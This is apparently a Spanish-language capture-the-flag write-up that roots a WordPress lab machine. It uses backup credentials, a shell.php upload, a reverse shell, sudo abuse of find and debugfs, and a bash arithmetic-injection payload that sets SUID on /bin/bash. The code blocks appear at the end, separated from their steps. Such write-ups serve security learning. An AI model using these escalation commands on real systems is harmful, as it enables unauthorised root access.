Vemos que encontramos un directorio llamado /backups que contiene lo siguiente:
Escalate user www-data
Nos lo descargamos y lo descomprimimos:
Y veremos el siguiente archivo:
Info:
Por lo que vemos ya tendremos las credenciales, por lo que con el exploit que encontramos anteriromente lo utilizaremos de la siguiente forma:
Info:
Y vemos que nos creo un shell.php en la siguiente ruta.
Si entramos a ella veremos lo siguiente:
Vemos que tendremos una shell interactiva, por lo que haremos lo siguiente.
Escalate user rafa
Vamos a enviarnos una shell.
Antes de enviarlo nos pondremos a la escucha:
Lo ejecutamos el codigo anterior y si volvemos a donde tenemos la escucha, veremos lo siguiente:
Sanitización de shell (TTY)
Si hacemos sudo -l veremos lo siguiente:
Vemos que podremos ejecutar el binario find como el usuario rafa, por lo que haremos lo siguiente:
Con esto seremos el usuario rafa.
Escalate user ruben
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el binario debugfs como el usuario ruben, por lo que haremos lo siguiente:
Y con esto ya seremos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Veremos que podremos ejecutar el binario bash junto al script llamado penguin.sh como el usuario root, por lo que haremos lo siguiente:
Si leemos el script, veremos lo siguiente:
Por lo que vemos si ponemos el numero 42 nos da la frase correcta, por lo que podremos aprovechar esto para hacer lo siguiente:
Metemos este codigo:
Explicacion:
prueba[ ... ]+42 → Se ve como un intento de asignación de un array en Bash. Pero lo importante es lo que está dentro del [ ... ].
$(chmod u+s /bin/bash >&2) →
La expresión $() ejecuta el comando dentro de ella en un subproceso.
chmod u+s /bin/bash da permisos SUID a /bin/bash, lo que significa que cualquier usuario que ejecute /bin/bash tendrá privilegios de root.
>&2 redirige la salida estándar a stderr, aunque en este caso no es esencial.
prueba[ ... ]+42 →
Bash ejecuta primero el contenido de $() antes de asignarlo a una variable.
Al ejecutar chmod u+s /bin/bash, la bash del sistema ahora tiene permisos de root.
Luego, read asigna lo que queda (prueba[ ]+42), pero el daño ya está hecho.
¿Por qué funciona si el script se ejecuta como root?
Si este script es ejecutado por root, cualquier comando dentro de $() también se ejecuta con privilegios de root.
chmod u+s /bin/bash solo puede ser ejecutado por root, pero en este caso, el usuario aprovecha el script que ya está corriendo como root para que lo haga por él.
Después de la ejecución, /bin/bash se convierte en un binario SUID, lo que significa que cualquier usuario puede abrir una sesión Bash con privilegios de root
Info:
Y con esto vamos a comprobar que se haya aplicado correctamente.
Info:
Vemos que ha funcionado estableciendo los permisos SUID a la bash, por lo que haremos lo siguiente:
Info:
Y con esto veremos que seremos el usuario root, por lo que habremos termiando la maquina.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-31 10:14 EST
Nmap scan report for 172.18.0.2
Host is up (0.000031s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: WordPress 6.5.4
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Whoiam
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.06 seconds
listening on [any] 7755 ...
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.2] 44308
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@454dd5633d8b:/var/www/html/wp-content/uploads$ whoami
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Matching Defaults entries for www-data on 454dd5633d8b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on 454dd5633d8b:
(rafa) NOPASSWD: /usr/bin/find
sudo -u rafa find . -exec /bin/bash \; -quit
Matching Defaults entries for rafa on 454dd5633d8b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User rafa may run the following commands on 454dd5633d8b:
(ruben) NOPASSWD: /usr/sbin/debugfs
sudo -u ruben debugfs
!/bin/bash
Matching Defaults entries for ruben on 454dd5633d8b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User ruben may run the following commands on 454dd5633d8b:
(ALL) NOPASSWD: /bin/bash /opt/penguin.sh
#!/bin/bash
read -rp "Enter guess: " num
if [[ $num -eq 42 ]]
then
echo "Correct"
else
echo "Wrong"
fi
sudo bash /opt/penguin.sh
prueba[$(chmod u+s /bin/bash >&2)]+42
Enter guess: prueba[$(chmod u+s /bin/bash >&2)]+42
Correct
ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash